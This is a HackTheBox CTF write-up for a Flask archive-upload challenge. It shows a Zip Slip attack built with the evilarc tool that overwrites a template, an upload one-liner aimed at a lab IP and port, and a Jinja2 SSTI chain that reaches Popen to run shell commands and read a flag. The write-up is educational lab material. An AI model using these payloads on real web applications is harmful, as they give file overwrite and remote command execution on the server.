Welcome! #
- HackTheBox is an offensive cybersecurity-focused platform.
- This is a writeup for one of their challenges.
Scenario: #
You’ve found a portal for a firmware upgrade service, responsible for the deployment and maintenance of rogue androids hunting humans outside the tractor city. The question is… what are you going to do about it?
Challenge Release Date: Nov, 26th 2021
Start: #
Files: #
HackTheBox is always fun. We have a zip file to extract and an IP : Port combo to connect to and presumably exploit. Let’s see what we have going on.

- Docker - These challenges are commonly found in containers, so it’s no surprise.
- Web Files - Looks like the container is probably going to be a website.
- Python - A Python website.
Alright, I guess I’ll start with the Docker files.
Docker Files: #


- “web_slippy”

- “/app/run.py”
Python Files: #

debug=True and use_evalex=false huh?
From Flask documentation:


- application/config.py Config
- application/blueprints/routes.py web
- application/blueprints/routes.py api
Gotta check out Flask config docs, and that config.py file.

util.py…
From Flask documentation:



TESTING will be useful. Also, getting that upload directory will probably come in handy.
/app/application/static/archives

extract_from_archive function in util.

Testing: #
I’m gonna create a tar.gz real quick of some dummy files, throw up Burp Suite, spawn the target host, and give it a test.


Burp Suite, Proxy, Intercept, and open the browser!


Zip Slip: #
Oh, I ran into something interesting on Google, which now makes the challenge’s name make more sense…



After reviewing what files we have to override… index.html seems like the way to go, we just need to get in a quick:
{{ print(open("/app/flag.txt","r").read()) }}I can use the directory information I got from Burp Suite earlier:
/app/application/static/archives/random/file
I got stuck for a while until I found evilarc which was made for making evil archives like this.
wget https://raw.githubusercontent.com/ptoomey3/evilarc/refs/heads/master/evilarc.py
pyenv shell 2.7.18
echo '{{ print(open("/app/flag.txt","r").read()) }}' > index.html
python evilarc.py -f evil.tar.gz -o unix -p app/application/templates/ index.html
{{ print(open("/app/flag.txt","r").read()) }} seems to be undefined…
SSTI: #
Looks like I need to do extra to get around jinja2. Thanks hacktricks!

index.html, I gotta work around it. Crazy one-liner below:
python evilarc.py -f evil.tar.gz -o unix -p app/application/templates/ index.html >/dev/null ; curl -s -F "[email protected]" http://154.57.164.73:31820/api/unslippy -o /dev/null ; curl -s http://154.57.164.73:31820 | php -r 'echo html_entity_decode(stream_get_contents(STDIN));' ; echoLet me break down this crazy one-liner:
- evilarc - takes index.html and makes a zip that can exploit zip slip.
- curl - sends that file to the server.
- curl - requests index.html; has the new output.
- php - fixes some of the html entities so it looks correct in the shell.
Using that one-liner allowed me to quickly make changes to index.html, then run the one-liner to get feedback.
After trial and error, I ended up with the following (SSTI adjacent) line:
{{ [].__class__.__base__.__subclasses__() }}And that gave me the class list:


\n lets us see the position of each subclass in the list.

Popen.
{{ [].__class__.__base__.__subclasses__()[223](["cat","/app/flag"],stdout=-1).communicate() }}After some back-and-forth trying to get the output from Popen, I got the flag back!
HTB{no-free-flags}